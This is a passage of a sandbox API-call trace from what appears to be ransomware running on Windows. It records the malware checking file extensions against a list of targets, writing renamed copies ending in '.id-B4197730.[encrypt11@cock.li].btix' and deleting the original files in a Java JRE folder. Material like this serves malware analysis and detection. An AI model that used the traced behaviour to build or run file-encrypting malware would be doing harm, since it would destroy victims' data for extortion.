lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.427] lstrlenW (lpString=".jpg") returned 4 [0132.427] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.427] lstrlenW (lpString=".doc") returned 4 [0132.428] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.428] lstrlenW (lpString=".docx") returned 5 [0132.428] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0132.428] lstrlenW (lpString=".pdf") returned 4 [0132.428] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.428] lstrlenW (lpString=".xls") returned 4 [0132.428] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.428] lstrlenW (lpString=".xlsx") returned 5 [0132.428] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0132.428] lstrlenW (lpString=".ppt") returned 4 [0132.428] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.428] lstrlenW (lpString=".zip") returned 4 [0132.428] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.428] lstrlenW (lpString=".rar") returned 4 [0132.428] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.428] lstrlenW (lpString=".bz2") returned 4 [0132.428] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.428] lstrlenW (lpString=".7z") returned 3 [0132.428] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.428] lstrlenW (lpString=".dbf") returned 4 [0132.428] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.428] lstrlenW (lpString=".1cd") returned 4 [0132.428] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0132.428] lstrlenW (lpString=".jpg") returned 4 [0132.428] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.451] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0132.451] lstrlenW (lpString="cursors.properties") returned 18 [0132.451] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.453] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1280) returned 1 [0132.453] CloseHandle (hObject=0x4b8) returned 1 [0132.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0132.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.454] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.454] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.454] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.454] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0132.456] GetLastError () returned 0x0 [0132.456] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x500, lpOverlapped=0x0) returned 1 [0132.458] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x510, lpOverlapped=0x0) returned 1 [0132.459] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.459] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf8, lpOverlapped=0x0) returned 1 [0132.459] SetEndOfFile (hFile=0x4dc) returned 1 [0132.459] CloseHandle (hObject=0x4dc) returned 1 [0132.459] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.459] SetEndOfFile (hFile=0x4b8) returned 1 [0132.462] CloseHandle (hObject=0x4b8) returned 1 [0132.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.462] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0132.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.462] lstrlenW (lpString=".doc") returned 4 [0132.462] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString=".docx") returned 5 [0132.463] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0132.463] lstrlenW (lpString=".pdf") returned 4 [0132.463] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString=".xls") returned 4 [0132.463] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString=".xlsx") returned 5 [0132.463] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0132.463] lstrlenW (lpString=".ppt") returned 4 [0132.463] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.463] lstrlenW (lpString=".zip") returned 4 [0132.463] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString=".rar") returned 4 [0132.463] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString=".bz2") returned 4 [0132.463] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString=".7z") returned 3 [0132.463] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0132.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.463] lstrlenW (lpString=".dbf") returned 4 [0132.463] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.463] lstrlenW (lpString=".1cd") returned 4 [0132.463] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.463] lstrlenW (lpString=".jpg") returned 4 [0132.463] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.463] lstrlenW (lpString=".doc") returned 4 [0132.463] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0132.463] lstrlenW (lpString=".docx") returned 5 [0132.463] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0132.463] lstrlenW (lpString=".pdf") returned 4 [0132.463] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString=".xls") returned 4 [0132.464] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString=".xlsx") returned 5 [0132.464] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0132.464] lstrlenW (lpString=".ppt") returned 4 [0132.464] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.464] lstrlenW (lpString=".zip") returned 4 [0132.464] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString=".rar") returned 4 [0132.464] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString=".bz2") returned 4 [0132.464] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString=".7z") returned 3 [0132.464] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0132.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.464] lstrlenW (lpString=".dbf") returned 4 [0132.464] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.464] lstrlenW (lpString=".1cd") returned 4 [0132.464] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0132.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0132.464] lstrlenW (lpString=".jpg") returned 4 [0132.464] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0132.464] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0132.464] lstrlenW (lpString="javafx.properties") returned 17 [0132.464] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.465] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=56) returned 1 [0132.465] CloseHandle (hObject=0x4b8) returned 1 [0132.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0132.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.466] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.466] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0132.467] GetLastError () returned 0x0 [0132.467] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x38, lpOverlapped=0x0) returned 1 [0132.468] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x40, lpOverlapped=0x0) returned 1 [0132.469] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.469] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0132.469] SetEndOfFile (hFile=0x4dc) returned 1 [0132.469] CloseHandle (hObject=0x4dc) returned 1 [0132.469] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.469] SetEndOfFile (hFile=0x4b8) returned 1 [0132.471] CloseHandle (hObject=0x4b8) returned 1 [0132.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.472] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0132.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.472] lstrlenW (lpString=".doc") returned 4 [0132.472] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0132.472] lstrlenW (lpString=".docx") returned 5 [0132.472] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0132.472] lstrlenW (lpString=".pdf") returned 4 [0132.472] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0132.472] lstrlenW (lpString=".xls") returned 4 [0132.472] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0132.472] lstrlenW (lpString=".xlsx") returned 5 [0132.472] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0132.472] lstrlenW (lpString=".ppt") returned 4 [0132.472] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0132.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.472] lstrlenW (lpString=".zip") returned 4 [0132.472] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0132.472] lstrlenW (lpString=".rar") returned 4 [0132.472] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".bz2") returned 4 [0132.473] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".7z") returned 3 [0132.473] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0132.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.473] lstrlenW (lpString=".dbf") returned 4 [0132.473] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.473] lstrlenW (lpString=".1cd") returned 4 [0132.473] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.473] lstrlenW (lpString=".jpg") returned 4 [0132.473] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.473] lstrlenW (lpString=".doc") returned 4 [0132.473] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".docx") returned 5 [0132.473] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0132.473] lstrlenW (lpString=".pdf") returned 4 [0132.473] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".xls") returned 4 [0132.473] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".xlsx") returned 5 [0132.473] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0132.473] lstrlenW (lpString=".ppt") returned 4 [0132.473] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.473] lstrlenW (lpString=".zip") returned 4 [0132.473] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".rar") returned 4 [0132.473] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".bz2") returned 4 [0132.473] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0132.473] lstrlenW (lpString=".7z") returned 3 [0132.474] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0132.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.474] lstrlenW (lpString=".dbf") returned 4 [0132.474] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0132.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.474] lstrlenW (lpString=".1cd") returned 4 [0132.474] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0132.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0132.474] lstrlenW (lpString=".jpg") returned 4 [0132.474] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0132.474] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0132.474] lstrlenW (lpString="javaws.jar") returned 10 [0132.474] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.475] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=944167) returned 1 [0132.475] CloseHandle (hObject=0x4b8) returned 1 [0132.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0132.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.475] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0132.475] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.475] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.475] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0132.476] GetLastError () returned 0x0 [0132.476] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xe6827, lpOverlapped=0x0) returned 1 [0132.557] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xe6830, lpOverlapped=0x0) returned 1 [0132.571] ReadFile (in: hFile=0x4b8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.571] WriteFile (in: hFile=0x4dc, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xe8, lpOverlapped=0x0) returned 1 [0132.571] SetEndOfFile (hFile=0x4dc) returned 1 [0132.671] CloseHandle (hObject=0x4dc) returned 1 [0132.671] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.671] SetEndOfFile (hFile=0x4b8) returned 1 [0132.688] CloseHandle (hObject=0x4b8) returned 1 [0132.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.688] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0132.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.689] lstrlenW (lpString=".doc") returned 4 [0132.689] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0132.689] lstrlenW (lpString=".docx") returned 5 [0132.689] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0132.689] lstrlenW (lpString=".pdf") returned 4 [0132.689] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0132.689] lstrlenW (lpString=".xls") returned 4 [0132.689] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0132.689] lstrlenW (lpString=".xlsx") returned 5 [0132.689] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0132.689] lstrlenW (lpString=".ppt") returned 4 [0132.689] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0132.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.689] lstrlenW (lpString=".zip") returned 4 [0132.689] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0132.689] lstrlenW (lpString=".rar") returned 4 [0132.689] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0132.689] lstrlenW (lpString=".bz2") returned 4 [0132.689] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0132.689] lstrlenW (lpString=".7z") returned 3 [0132.689] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0132.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString=".dbf") returned 4 [0132.690] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0132.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString=".1cd") returned 4 [0132.690] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0132.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString=".jpg") returned 4 [0132.690] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0132.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString=".doc") returned 4 [0132.690] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0132.690] lstrlenW (lpString=".docx") returned 5 [0132.690] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0132.690] lstrlenW (lpString=".pdf") returned 4 [0132.690] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0132.690] lstrlenW (lpString=".xls") returned 4 [0132.690] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0132.690] lstrlenW (lpString=".xlsx") returned 5 [0132.690] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0132.690] lstrlenW (lpString=".ppt") returned 4 [0132.690] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0132.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0132.690] lstrlenW (lpString=".zip") returned 4 [0132.690] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0132.690] lstrlenW (lpString=".rar") returned 4 